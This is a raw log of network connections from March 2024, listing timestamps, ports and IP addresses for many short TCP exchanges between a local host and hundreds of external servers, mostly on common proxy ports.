Mar 11, 2024 18:36:46.533061028 CET	51054	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.533771992 CET	25492	51182	50.63.12.33	192.168.2.8
Mar 11, 2024 18:36:46.533950090 CET	51182	25492	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:46.534406900 CET	50750	80	192.168.2.8	65.1.244.232
Mar 11, 2024 18:36:46.534409046 CET	50806	4145	192.168.2.8	185.169.181.25
Mar 11, 2024 18:36:46.534430981 CET	50817	4145	192.168.2.8	103.210.35.40
Mar 11, 2024 18:36:46.534432888 CET	50670	8080	192.168.2.8	102.214.104.56
Mar 11, 2024 18:36:46.534434080 CET	49775	80	192.168.2.8	50.239.72.18
Mar 11, 2024 18:36:46.534449100 CET	50762	8081	192.168.2.8	178.141.249.246
Mar 11, 2024 18:36:46.534754038 CET	49724	9375	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.534758091 CET	50434	26976	192.168.2.8	124.198.74.90
Mar 11, 2024 18:36:46.534775019 CET	50896	80	192.168.2.8	50.217.226.42
Mar 11, 2024 18:36:46.534776926 CET	50962	80	192.168.2.8	50.168.72.116
Mar 11, 2024 18:36:46.534790993 CET	50675	2536	192.168.2.8	148.72.206.84
Mar 11, 2024 18:36:46.534791946 CET	50672	37920	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:46.535646915 CET	80	51122	104.16.224.33	192.168.2.8
Mar 11, 2024 18:36:46.535857916 CET	80	51122	104.16.224.33	192.168.2.8
Mar 11, 2024 18:36:46.536139965 CET	80	51122	104.16.224.33	192.168.2.8
Mar 11, 2024 18:36:46.536191940 CET	51122	80	192.168.2.8	104.16.224.33
Mar 11, 2024 18:36:46.536444902 CET	58386	50663	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:46.536514044 CET	58386	50663	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:46.536566973 CET	58386	50663	5.44.42.115	192.168.2.8
Mar 11, 2024 18:36:46.536576986 CET	50663	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:46.538094997 CET	27639	50586	185.45.194.176	192.168.2.8
Mar 11, 2024 18:36:46.538376093 CET	51276	8080	192.168.2.8	38.159.232.6
Mar 11, 2024 18:36:46.539084911 CET	80	49889	50.174.145.11	192.168.2.8
Mar 11, 2024 18:36:46.539498091 CET	6014	50057	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.539510012 CET	6014	50057	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.539604902 CET	50057	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.539613008 CET	6008	51118	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:46.539695978 CET	51118	6008	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.540338993 CET	8083	51087	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:46.540409088 CET	51087	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:46.541292906 CET	5385	50017	72.10.160.170	192.168.2.8
Mar 11, 2024 18:36:46.541316032 CET	3933	50022	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:46.541532993 CET	31295	50021	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:46.542045116 CET	80	50612	50.174.214.219	192.168.2.8
Mar 11, 2024 18:36:46.544548035 CET	51277	55552	192.168.2.8	64.90.51.168
Mar 11, 2024 18:36:46.545859098 CET	51278	9090	192.168.2.8	168.181.81.225
Mar 11, 2024 18:36:46.546323061 CET	9002	50255	222.138.76.6	192.168.2.8
Mar 11, 2024 18:36:46.547425032 CET	80	50794	50.207.199.87	192.168.2.8
Mar 11, 2024 18:36:46.547441006 CET	5678	50514	101.95.182.26	192.168.2.8
Mar 11, 2024 18:36:46.547456026 CET	8888	51059	66.45.246.194	192.168.2.8
Mar 11, 2024 18:36:46.547584057 CET	51059	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.548027039 CET	80	50649	50.173.140.150	192.168.2.8
Mar 11, 2024 18:36:46.549340010 CET	80	50695	50.230.222.202	192.168.2.8
Mar 11, 2024 18:36:46.549839020 CET	49750	40351	192.168.2.8	51.222.241.157
Mar 11, 2024 18:36:46.549854040 CET	50915	64384	192.168.2.8	195.154.43.221
Mar 11, 2024 18:36:46.549854040 CET	50868	8000	192.168.2.8	128.199.184.169
Mar 11, 2024 18:36:46.549855947 CET	50831	8089	192.168.2.8	111.225.153.135
Mar 11, 2024 18:36:46.549859047 CET	49931	80	192.168.2.8	45.139.11.200
Mar 11, 2024 18:36:46.549912930 CET	50684	61344	192.168.2.8	75.119.145.169
Mar 11, 2024 18:36:46.549915075 CET	49928	8080	192.168.2.8	57.128.163.242
Mar 11, 2024 18:36:46.550091982 CET	50823	32650	192.168.2.8	103.216.51.36
Mar 11, 2024 18:36:46.550108910 CET	50158	21777	192.168.2.8	51.222.84.118
Mar 11, 2024 18:36:46.550108910 CET	50864	4145	192.168.2.8	177.125.206.40
Mar 11, 2024 18:36:46.550122023 CET	50857	4145	192.168.2.8	82.137.244.59
Mar 11, 2024 18:36:46.550122976 CET	50681	48200	192.168.2.8	43.230.196.98
Mar 11, 2024 18:36:46.550256968 CET	50682	4153	192.168.2.8	170.81.108.46
Mar 11, 2024 18:36:46.551084995 CET	4153	50474	177.72.82.47	192.168.2.8
Mar 11, 2024 18:36:46.551157951 CET	3128	50560	213.131.230.161	192.168.2.8
Mar 11, 2024 18:36:46.552673101 CET	51279	4145	192.168.2.8	103.35.108.145
Mar 11, 2024 18:36:46.553643942 CET	8000	50039	137.184.200.42	192.168.2.8
Mar 11, 2024 18:36:46.553900957 CET	51280	51372	192.168.2.8	213.226.16.46
Mar 11, 2024 18:36:46.554004908 CET	8888	50354	136.244.99.51	192.168.2.8
Mar 11, 2024 18:36:46.554096937 CET	50354	8888	192.168.2.8	136.244.99.51
Mar 11, 2024 18:36:46.555078030 CET	8080	50919	103.125.240.237	192.168.2.8
Mar 11, 2024 18:36:46.555953026 CET	80	50755	50.175.212.79	192.168.2.8
Mar 11, 2024 18:36:46.556299925 CET	18080	51129	152.32.130.117	192.168.2.8
Mar 11, 2024 18:36:46.556329966 CET	26087	50036	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:46.556371927 CET	51129	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:46.556742907 CET	4145	50437	184.178.172.3	192.168.2.8
Mar 11, 2024 18:36:46.556827068 CET	50437	4145	192.168.2.8	184.178.172.3
Mar 11, 2024 18:36:46.557936907 CET	3128	50690	52.67.10.183	192.168.2.8
Mar 11, 2024 18:36:46.558900118 CET	4153	50320	212.31.100.138	192.168.2.8
Mar 11, 2024 18:36:46.559021950 CET	50320	4153	192.168.2.8	212.31.100.138
Mar 11, 2024 18:36:46.561619043 CET	51281	1981	192.168.2.8	41.65.55.2
Mar 11, 2024 18:36:46.562777042 CET	51282	8089	192.168.2.8	123.182.59.208
Mar 11, 2024 18:36:46.563153982 CET	51283	80	192.168.2.8	162.223.116.75
Mar 11, 2024 18:36:46.564699888 CET	80	51002	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:46.565649986 CET	50683	3128	192.168.2.8	192.46.229.19
Mar 11, 2024 18:36:46.565649986 CET	50996	4145	192.168.2.8	199.102.104.70
Mar 11, 2024 18:36:46.565650940 CET	50680	52173	192.168.2.8	31.24.44.92
Mar 11, 2024 18:36:46.565654039 CET	50140	999	192.168.2.8	45.229.34.174
Mar 11, 2024 18:36:46.565654039 CET	50893	6969	192.168.2.8	95.217.222.213
Mar 11, 2024 18:36:46.565666914 CET	50179	13477	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.565669060 CET	49751	30951	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.565682888 CET	50687	8080	192.168.2.8	160.119.148.190
Mar 11, 2024 18:36:46.565687895 CET	50679	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:46.565689087 CET	50694	8080	192.168.2.8	51.145.176.250
Mar 11, 2024 18:36:46.565692902 CET	50874	4145	192.168.2.8	101.109.251.42
Mar 11, 2024 18:36:46.565692902 CET	50699	8080	192.168.2.8	188.132.222.7
Mar 11, 2024 18:36:46.565696955 CET	50302	4145	192.168.2.8	142.54.229.249
Mar 11, 2024 18:36:46.565696955 CET	50703	5678	192.168.2.8	115.243.142.185
Mar 11, 2024 18:36:46.565700054 CET	50696	24001	192.168.2.8	139.196.186.157
Mar 11, 2024 18:36:46.565700054 CET	50697	8080	192.168.2.8	151.22.181.205
Mar 11, 2024 18:36:46.565700054 CET	50701	27207	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:46.565718889 CET	8118	49983	182.140.244.163	192.168.2.8
Mar 11, 2024 18:36:46.566040993 CET	4145	51038	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.566112995 CET	51038	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.568659067 CET	80	51002	186.124.164.213	192.168.2.8
Mar 11, 2024 18:36:46.568945885 CET	4153	50545	45.226.0.2	192.168.2.8
Mar 11, 2024 18:36:46.569482088 CET	3128	50423	188.56.223.85	192.168.2.8
Mar 11, 2024 18:36:46.572005033 CET	10677	50718	72.10.160.173	192.168.2.8
Mar 11, 2024 18:36:46.572258949 CET	13087	50712	67.43.236.18	192.168.2.8
Mar 11, 2024 18:36:46.573057890 CET	5678	50277	103.112.254.66	192.168.2.8
Mar 11, 2024 18:36:46.573123932 CET	80	50401	36.92.193.189	192.168.2.8
Mar 11, 2024 18:36:46.573635101 CET	63951	50481	107.180.95.177	192.168.2.8
Mar 11, 2024 18:36:46.573726892 CET	50481	63951	192.168.2.8	107.180.95.177
Mar 11, 2024 18:36:46.575010061 CET	8080	50991	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:46.575154066 CET	50991	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:46.579154015 CET	8080	50429	8.218.100.120	192.168.2.8
Mar 11, 2024 18:36:46.581212997 CET	50527	21802	192.168.2.8	34.93.157.87
Mar 11, 2024 18:36:46.581238985 CET	50689	8080	192.168.2.8	68.188.93.171
Mar 11, 2024 18:36:46.581242085 CET	50688	44550	192.168.2.8	190.144.224.182
Mar 11, 2024 18:36:46.581252098 CET	50691	999	192.168.2.8	201.71.3.61
Mar 11, 2024 18:36:46.581254959 CET	50692	3128	192.168.2.8	176.58.96.11
Mar 11, 2024 18:36:46.581264973 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:46.581281900 CET	50811	8080	192.168.2.8	115.96.208.124
Mar 11, 2024 18:36:46.581283092 CET	49978	8080	192.168.2.8	92.118.132.125
Mar 11, 2024 18:36:46.581286907 CET	50700	35396	192.168.2.8	192.163.200.200
Mar 11, 2024 18:36:46.581806898 CET	8118	49983	182.140.244.163	192.168.2.8
Mar 11, 2024 18:36:46.581943035 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:46.585978985 CET	3128	50773	134.209.29.120	192.168.2.8
Mar 11, 2024 18:36:46.586007118 CET	3128	50167	80.251.219.40	192.168.2.8
Mar 11, 2024 18:36:46.587122917 CET	80	51107	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:46.587232113 CET	4153	50914	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:46.587260008 CET	51107	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:46.587383986 CET	80	50866	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:46.587476969 CET	4153	50914	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:46.587553978 CET	11339	50745	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:46.588206053 CET	80	51224	104.21.85.200	192.168.2.8
Mar 11, 2024 18:36:46.588726997 CET	5678	51004	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:46.588754892 CET	51224	80	192.168.2.8	104.21.85.200
Mar 11, 2024 18:36:46.589970112 CET	3128	49770	46.245.77.52	192.168.2.8
Mar 11, 2024 18:36:46.591522932 CET	4145	50402	103.66.233.225	192.168.2.8
Mar 11, 2024 18:36:46.592420101 CET	80	51161	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:46.592506886 CET	51161	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.592767954 CET	5678	51004	193.106.57.96	192.168.2.8
Mar 11, 2024 18:36:46.592839003 CET	80	50866	46.35.9.110	192.168.2.8
Mar 11, 2024 18:36:46.593044996 CET	4145	50921	142.54.231.38	192.168.2.8
Mar 11, 2024 18:36:46.595434904 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:46.596378088 CET	80	50458	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:46.596426964 CET	51284	3128	192.168.2.8	59.153.158.19
Mar 11, 2024 18:36:46.596434116 CET	50917	80	192.168.2.8	47.93.121.200
Mar 11, 2024 18:36:46.596493959 CET	80	50458	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:46.596535921 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.596772909 CET	51285	46695	192.168.2.8	66.228.35.209
Mar 11, 2024 18:36:46.596776009 CET	51085	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:46.596822977 CET	49886	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:46.596893072 CET	50377	3128	192.168.2.8	220.194.189.144
Mar 11, 2024 18:36:46.596895933 CET	50648	1976	192.168.2.8	41.65.55.10
Mar 11, 2024 18:36:46.596931934 CET	49848	5005	192.168.2.8	1.194.236.229
Mar 11, 2024 18:36:46.596932888 CET	49965	13623	192.168.2.8	36.255.104.1
Mar 11, 2024 18:36:46.596934080 CET	50963	80	192.168.2.8	50.169.118.209
Mar 11, 2024 18:36:46.596940994 CET	5678	49749	122.152.53.25	192.168.2.8
Mar 11, 2024 18:36:46.596955061 CET	50721	8080	192.168.2.8	154.126.81.163
Mar 11, 2024 18:36:46.596956015 CET	50309	80	192.168.2.8	50.231.104.58
Mar 11, 2024 18:36:46.596955061 CET	49968	8888	192.168.2.8	51.15.242.202
Mar 11, 2024 18:36:46.596957922 CET	50705	4145	192.168.2.8	61.7.183.101
Mar 11, 2024 18:36:46.596956015 CET	50708	2222	192.168.2.8	223.25.100.42
Mar 11, 2024 18:36:46.596957922 CET	50723	64579	192.168.2.8	162.214.121.173
Mar 11, 2024 18:36:46.596960068 CET	51001	4145	192.168.2.8	199.229.254.129
Mar 11, 2024 18:36:46.596957922 CET	50372	999	192.168.2.8	189.173.223.225
Mar 11, 2024 18:36:46.596956015 CET	49765	4495	192.168.2.8	67.43.228.252
Mar 11, 2024 18:36:46.596956015 CET	50229	4711	192.168.2.8	67.43.227.227
Mar 11, 2024 18:36:46.596976042 CET	50706	4145	192.168.2.8	72.210.221.223
Mar 11, 2024 18:36:46.596977949 CET	50714	8080	192.168.2.8	188.132.222.38
Mar 11, 2024 18:36:46.596997976 CET	50713	8187	192.168.2.8	176.8.230.197
Mar 11, 2024 18:36:46.597017050 CET	50717	999	192.168.2.8	157.100.6.202
Mar 11, 2024 18:36:46.597080946 CET	50716	5678	192.168.2.8	196.61.44.54
Mar 11, 2024 18:36:46.597698927 CET	51287	1080	192.168.2.8	89.187.216.58
Mar 11, 2024 18:36:46.597723961 CET	51030	5034	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.597851992 CET	51046	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.598267078 CET	51288	15673	192.168.2.8	43.155.165.196
Mar 11, 2024 18:36:46.598448992 CET	51135	80	192.168.2.8	162.159.242.10
Mar 11, 2024 18:36:46.598604918 CET	8080	50991	91.202.230.219	192.168.2.8
Mar 11, 2024 18:36:46.598614931 CET	51040	8888	192.168.2.8	31.43.158.108
Mar 11, 2024 18:36:46.598669052 CET	51029	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:46.598958969 CET	50707	9002	192.168.2.8	221.6.139.190
Mar 11, 2024 18:36:46.599205971 CET	51104	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:46.599208117 CET	51056	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:46.599478006 CET	50923	80	192.168.2.8	39.108.227.108
Mar 11, 2024 18:36:46.599561930 CET	8080	51151	180.191.16.5	192.168.2.8
Mar 11, 2024 18:36:46.599595070 CET	51032	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:46.599723101 CET	50340	34172	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:46.599755049 CET	50259	80	192.168.2.8	82.64.77.30
Mar 11, 2024 18:36:46.599858046 CET	50231	7891	192.168.2.8	43.129.228.46
Mar 11, 2024 18:36:46.599946976 CET	51142	4145	192.168.2.8	162.253.68.97
Mar 11, 2024 18:36:46.599991083 CET	51112	999	192.168.2.8	187.49.191.14
Mar 11, 2024 18:36:46.600076914 CET	51074	8080	192.168.2.8	200.7.11.154
Mar 11, 2024 18:36:46.600229025 CET	50986	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:46.600270987 CET	8888	51059	66.45.246.194	192.168.2.8
Mar 11, 2024 18:36:46.600522041 CET	51286	80	192.168.2.8	104.16.105.198
Mar 11, 2024 18:36:46.600544930 CET	51289	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:46.600634098 CET	13793	51076	103.117.109.1	192.168.2.8
Mar 11, 2024 18:36:46.600722075 CET	51062	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:46.600819111 CET	51048	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:46.600848913 CET	51100	3128	192.168.2.8	130.162.213.175
Mar 11, 2024 18:36:46.600943089 CET	51105	80	192.168.2.8	121.128.194.154
Mar 11, 2024 18:36:46.601020098 CET	51070	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:46.601036072 CET	50988	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.601337910 CET	51290	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.601341963 CET	51091	3128	192.168.2.8	91.189.177.188
Mar 11, 2024 18:36:46.601999998 CET	51291	59045	192.168.2.8	164.92.237.188
Mar 11, 2024 18:36:46.602241993 CET	51292	80	192.168.2.8	190.58.248.86
Mar 11, 2024 18:36:46.602483988 CET	51293	2512	192.168.2.8	154.16.116.166
Mar 11, 2024 18:36:46.602535963 CET	27391	50465	72.195.34.60	192.168.2.8
Mar 11, 2024 18:36:46.602619886 CET	50465	27391	192.168.2.8	72.195.34.60
Mar 11, 2024 18:36:46.602983952 CET	3128	50624	155.185.15.56	192.168.2.8
Mar 11, 2024 18:36:46.603626013 CET	51294	999	192.168.2.8	38.50.165.55
Mar 11, 2024 18:36:46.604109049 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:46.604147911 CET	1080	50573	140.250.150.56	192.168.2.8
Mar 11, 2024 18:36:46.604548931 CET	51115	3128	192.168.2.8	13.37.59.99
Mar 11, 2024 18:36:46.604697943 CET	51128	4145	192.168.2.8	72.210.221.197
Mar 11, 2024 18:36:46.604765892 CET	50405	41746	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:46.605138063 CET	51295	4145	192.168.2.8	110.78.151.165
Mar 11, 2024 18:36:46.605263948 CET	51297	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:46.605362892 CET	50443	53777	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:46.605369091 CET	51121	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:46.605460882 CET	51170	80	192.168.2.8	104.19.247.62
Mar 11, 2024 18:36:46.605580091 CET	50344	999	192.168.2.8	190.90.22.106
Mar 11, 2024 18:36:46.605694056 CET	51296	999	192.168.2.8	181.78.11.217
Mar 11, 2024 18:36:46.605696917 CET	51096	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.605748892 CET	50934	8080	192.168.2.8	103.49.114.195
Mar 11, 2024 18:36:46.606072903 CET	51126	21972	192.168.2.8	79.143.177.29
Mar 11, 2024 18:36:46.606209993 CET	51045	80	192.168.2.8	91.107.180.250
Mar 11, 2024 18:36:46.606261015 CET	50968	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:46.606487989 CET	51298	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:46.606587887 CET	50194	8080	192.168.2.8	103.159.66.61
Mar 11, 2024 18:36:46.606647968 CET	50992	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:46.606865883 CET	51299	8081	192.168.2.8	185.49.31.207
Mar 11, 2024 18:36:46.606967926 CET	21231	51137	92.247.2.26	192.168.2.8
Mar 11, 2024 18:36:46.607003927 CET	50520	80	192.168.2.8	188.166.56.246
Mar 11, 2024 18:36:46.607040882 CET	51137	21231	192.168.2.8	92.247.2.26
Mar 11, 2024 18:36:46.607403040 CET	50883	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:46.607424021 CET	51054	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.607664108 CET	51182	25492	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:46.607759953 CET	51122	80	192.168.2.8	104.16.224.33
Mar 11, 2024 18:36:46.607834101 CET	11946	51216	91.134.140.160	192.168.2.8
Mar 11, 2024 18:36:46.607906103 CET	51216	11946	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:46.608453035 CET	9000	50878	122.116.150.2	192.168.2.8
Mar 11, 2024 18:36:46.608527899 CET	44607	49710	162.241.6.97	192.168.2.8
Mar 11, 2024 18:36:46.608592033 CET	51301	58386	192.168.2.8	5.44.42.115
Mar 11, 2024 18:36:46.608757973 CET	51302	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.608887911 CET	51300	3128	192.168.2.8	62.33.207.202
Mar 11, 2024 18:36:46.608890057 CET	51118	6008	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:46.609011889 CET	51087	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:46.609086990 CET	51059	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.609375954 CET	51303	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.609379053 CET	50354	8888	192.168.2.8	136.244.99.51
Mar 11, 2024 18:36:46.609491110 CET	51129	18080	192.168.2.8	152.32.130.117
Mar 11, 2024 18:36:46.609533072 CET	50437	4145	192.168.2.8	184.178.172.3
Mar 11, 2024 18:36:46.609584093 CET	50320	4153	192.168.2.8	212.31.100.138
Mar 11, 2024 18:36:46.610002995 CET	51306	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:46.610075951 CET	51038	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.610148907 CET	51304	27360	192.168.2.8	72.195.34.35
Mar 11, 2024 18:36:46.610317945 CET	51305	4009	192.168.2.8	45.61.187.67
Mar 11, 2024 18:36:46.610452890 CET	51307	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:46.610682011 CET	50481	63951	192.168.2.8	107.180.95.177
Mar 11, 2024 18:36:46.610682964 CET	50991	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:46.611037970 CET	51309	8080	192.168.2.8	91.202.230.219
Mar 11, 2024 18:36:46.611104012 CET	16379	50894	163.172.147.9	192.168.2.8
Mar 11, 2024 18:36:46.611126900 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:46.611422062 CET	51310	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:46.611579895 CET	51107	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:46.611943007 CET	51308	80	192.168.2.8	172.67.181.147
Mar 11, 2024 18:36:46.612014055 CET	51311	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:46.612140894 CET	51224	80	192.168.2.8	104.21.85.200
Mar 11, 2024 18:36:46.612206936 CET	51161	80	192.168.2.8	46.35.9.110
Mar 11, 2024 18:36:46.612483025 CET	50060	5678	192.168.2.8	202.165.47.49
Mar 11, 2024 18:36:46.612489939 CET	50425	80	192.168.2.8	102.130.125.86
Mar 11, 2024 18:36:46.612509012 CET	50726	4153	192.168.2.8	46.28.72.75
Mar 11, 2024 18:36:46.612509012 CET	50711	8083	192.168.2.8	103.84.177.27
Mar 11, 2024 18:36:46.612509966 CET	50298	22500	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:46.612509012 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.612539053 CET	50737	62916	192.168.2.8	51.222.241.8
Mar 11, 2024 18:36:46.612539053 CET	50715	3128	192.168.2.8	51.178.165.36
Mar 11, 2024 18:36:46.612539053 CET	50743	1080	192.168.2.8	143.137.116.72
Mar 11, 2024 18:36:46.612539053 CET	50729	15805	192.168.2.8	172.93.111.87
Mar 11, 2024 18:36:46.612541914 CET	50732	19770	192.168.2.8	207.244.255.174
Mar 11, 2024 18:36:46.612541914 CET	50997	36363	192.168.2.8	51.222.241.157
Mar 11, 2024 18:36:46.612543106 CET	50736	80	192.168.2.8	18.142.81.218
Mar 11, 2024 18:36:46.612545967 CET	50744	4228	192.168.2.8	5.161.219.13
Mar 11, 2024 18:36:46.612545967 CET	50722	8888	192.168.2.8	35.199.90.225
Mar 11, 2024 18:36:46.612545967 CET	50727	7999	192.168.2.8	122.185.198.242
Mar 11, 2024 18:36:46.612556934 CET	50747	5678	192.168.2.8	115.75.160.196
Mar 11, 2024 18:36:46.612556934 CET	50730	17639	192.168.2.8	45.81.232.17
Mar 11, 2024 18:36:46.612559080 CET	50734	8080	192.168.2.8	165.227.95.2
Mar 11, 2024 18:36:46.612569094 CET	50746	43328	192.168.2.8	192.169.226.96
Mar 11, 2024 18:36:46.612591028 CET	49797	80	192.168.2.8	50.239.72.19
Mar 11, 2024 18:36:46.612842083 CET	51312	3128	192.168.2.8	38.54.101.254
Mar 11, 2024 18:36:46.612936974 CET	51314	5678	192.168.2.8	193.106.57.96
Mar 11, 2024 18:36:46.613019943 CET	80	50018	50.168.210.239	192.168.2.8
Mar 11, 2024 18:36:46.613359928 CET	51313	3389	192.168.2.8	119.91.214.119
Mar 11, 2024 18:36:46.613497019 CET	50465	27391	192.168.2.8	72.195.34.60
Mar 11, 2024 18:36:46.613739967 CET	51137	21231	192.168.2.8	92.247.2.26
Mar 11, 2024 18:36:46.613796949 CET	51315	8080	192.168.2.8	190.220.228.147
Mar 11, 2024 18:36:46.614437103 CET	51316	8080	192.168.2.8	206.42.27.113
Mar 11, 2024 18:36:46.614440918 CET	51216	11946	192.168.2.8	91.134.140.160
Mar 11, 2024 18:36:46.615041971 CET	3128	51212	66.29.154.103	192.168.2.8
Mar 11, 2024 18:36:46.615060091 CET	14282	50550	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:46.615165949 CET	14282	50550	192.252.208.70	192.168.2.8
Mar 11, 2024 18:36:46.618026018 CET	4995	49745	116.97.240.147	192.168.2.8
Mar 11, 2024 18:36:46.618807077 CET	23685	50780	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:46.618843079 CET	5678	51156	94.154.221.91	192.168.2.8
Mar 11, 2024 18:36:46.618968964 CET	51156	5678	192.168.2.8	94.154.221.91
Mar 11, 2024 18:36:46.619060993 CET	5369	50774	72.10.160.171	192.168.2.8
Mar 11, 2024 18:36:46.619910955 CET	80	50117	50.145.6.36	192.168.2.8
Mar 11, 2024 18:36:46.619954109 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:46.621423006 CET	51317	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:46.621426105 CET	50690	3128	192.168.2.8	52.67.10.183
Mar 11, 2024 18:36:46.621947050 CET	51156	5678	192.168.2.8	94.154.221.91
Mar 11, 2024 18:36:46.621948957 CET	49745	4995	192.168.2.8	116.97.240.147
Mar 11, 2024 18:36:46.622021914 CET	4145	51038	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:46.622701883 CET	51318	8080	192.168.2.8	103.189.96.98
Mar 11, 2024 18:36:46.623084068 CET	51319	8080	192.168.2.8	103.106.216.161
Mar 11, 2024 18:36:46.623090982 CET	13341	51205	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:46.623141050 CET	80	50767	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:46.623454094 CET	51320	10403	192.168.2.8	149.28.240.100
Mar 11, 2024 18:36:46.623743057 CET	51321	80	192.168.2.8	104.17.132.79
Mar 11, 2024 18:36:46.623815060 CET	80	50852	34.75.202.63	192.168.2.8
Mar 11, 2024 18:36:46.624352932 CET	51322	63452	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.624450922 CET	51323	9367	192.168.2.8	50.63.12.33
Mar 11, 2024 18:36:46.624896049 CET	50750	80	192.168.2.8	65.1.244.232
Mar 11, 2024 18:36:46.626337051 CET	3128	50593	120.24.52.179	192.168.2.8
Mar 11, 2024 18:36:46.626512051 CET	8181	50357	103.234.28.211	192.168.2.8
Mar 11, 2024 18:36:46.626687050 CET	50357	8181	192.168.2.8	103.234.28.211
Mar 11, 2024 18:36:46.626774073 CET	64768	49895	173.212.250.16	192.168.2.8
Mar 11, 2024 18:36:46.627104998 CET	50357	8181	192.168.2.8	103.234.28.211
Mar 11, 2024 18:36:46.627723932 CET	80	51163	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:46.627794981 CET	51163	80	192.168.2.8	123.110.158.236
Mar 11, 2024 18:36:46.627830029 CET	80	50767	123.110.158.236	192.168.2.8
Mar 11, 2024 18:36:46.628010988 CET	51163	80	192.168.2.8	123.110.158.236
